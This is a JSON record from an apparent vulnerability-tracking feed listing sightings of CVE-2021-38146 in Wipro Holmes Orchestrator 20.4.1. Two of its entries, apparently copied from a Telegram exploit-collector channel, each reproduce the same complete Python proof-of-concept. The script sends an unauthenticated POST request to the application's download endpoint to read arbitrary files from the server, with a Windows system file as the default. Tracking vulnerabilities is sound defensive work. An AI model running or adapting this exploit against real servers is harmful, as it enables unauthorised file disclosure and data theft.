{"vulnerability": "cve-2021-38146", "sightings": [{"uuid": "5d3e2b42-e67f-4bc3-b6a9-22fee3a01e8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38146", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-38146.yaml", "content": "", "creation_timestamp": "2024-06-07T17:11:41.000000Z"}, {"uuid": "04ecb95b-ab83-44ca-9f00-5f9d2e375be1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38146", "type": "seen", "source": "https://t.me/hacking_Attack/31512", "content": "Exploit Collector\nWipro Holmes Orchestrator 20.4.1 Arbitrary File Download\n\nhttps://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png \nWipro Holmes Orchestrator version 20.4.1 unauthenticated arbitrary file reading proof of concept exploit.\n\nMD5 | 04adf28661ef09514ae3eb4f550b8b3d\n\nDownload\n# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Read PoC\n# Date: 05/08/2021\n# Exploit Author: Rizal Muhammed @ub3rsick\n# Vendor Homepage: https://www.wipro.com/holmes/\n# Version: 20.4.1\n# Tested on: Windows 10 x64\n# CVE : CVE-2021-38146\n\nimport requests as rq\nimport argparse\n\nport = 8001    # change port if application is running on different port\n\ndef file_download(host, filepath):\nvuln_url = \"http://%s:%s/home/download\" % (host, port)\ndata = {\n\"SearchString\": filepath,\n\"Msg\": \"\"\n}\n\nhdr = {\n\"content-type\": \"application/json\"\n}\n\nresp = rq.post(vuln_url, headers=hdr, json=data)\n\nprint resp.text\n\ndef main():\nparser = argparse.ArgumentParser(\ndescription=\"CVE-2021-38146 - Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Download\",\nepilog=\"Vulnerability Discovery and PoC Author - Rizal Muhammed @ub3rsick\"\n)\nparser.add_argument(\"-t\",\"--target-ip\", help=\"IP Address of the target server\", required=True)\nparser.add_argument(\"-f\",\"--file-path\", help=\"Absolute Path of the file to download\", default=\"C:/Windows/Win.ini\")\nargs = parser.parse_args()\n\nif \"\\\\\" in args.file_path:\nfp = args.file_path.replace(\"\\\\\", \"/\")\nelse:\nfp = args.file_path\nfile_download(args.target_ip, fp)\n\nif __name__ == \"__main__\":\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:09.378435Z"}, {"uuid": "d466e1fb-4001-4d54-8a9a-44c27d38d170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38146", "type": "seen", "source": "https://t.me/hacking_Attack/31512", "content": "Exploit Collector\nWipro Holmes Orchestrator 20.4.1 Arbitrary File Download\n\nhttps://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png \nWipro Holmes Orchestrator version 20.4.1 unauthenticated arbitrary file reading proof of concept exploit.\n\nMD5 | 04adf28661ef09514ae3eb4f550b8b3d\n\nDownload\n# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Read PoC\n# Date: 05/08/2021\n# Exploit Author: Rizal Muhammed @ub3rsick\n# Vendor Homepage: https://www.wipro.com/holmes/\n# Version: 20.4.1\n# Tested on: Windows 10 x64\n# CVE : CVE-2021-38146\n\nimport requests as rq\nimport argparse\n\nport = 8001    # change port if application is running on different port\n\ndef file_download(host, filepath):\nvuln_url = \"http://%s:%s/home/download\" % (host, port)\ndata = {\n\"SearchString\": filepath,\n\"Msg\": \"\"\n}\n\nhdr = {\n\"content-type\": \"application/json\"\n}\n\nresp = rq.post(vuln_url, headers=hdr, json=data)\n\nprint resp.text\n\ndef main():\nparser = argparse.ArgumentParser(\ndescription=\"CVE-2021-38146 - Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Download\",\nepilog=\"Vulnerability Discovery and PoC Author - Rizal Muhammed @ub3rsick\"\n)\nparser.add_argument(\"-t\",\"--target-ip\", help=\"IP Address of the target server\", required=True)\nparser.add_argument(\"-f\",\"--file-path\", help=\"Absolute Path of the file to download\", default=\"C:/Windows/Win.ini\")\nargs = parser.parse_args()\n\nif \"\\\\\" in args.file_path:\nfp = args.file_path.replace(\"\\\\\", \"/\")\nelse:\nfp = args.file_path\nfile_download(args.target_ip, fp)\n\nif __name__ == \"__main__\":\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:02:35.600861Z"}]}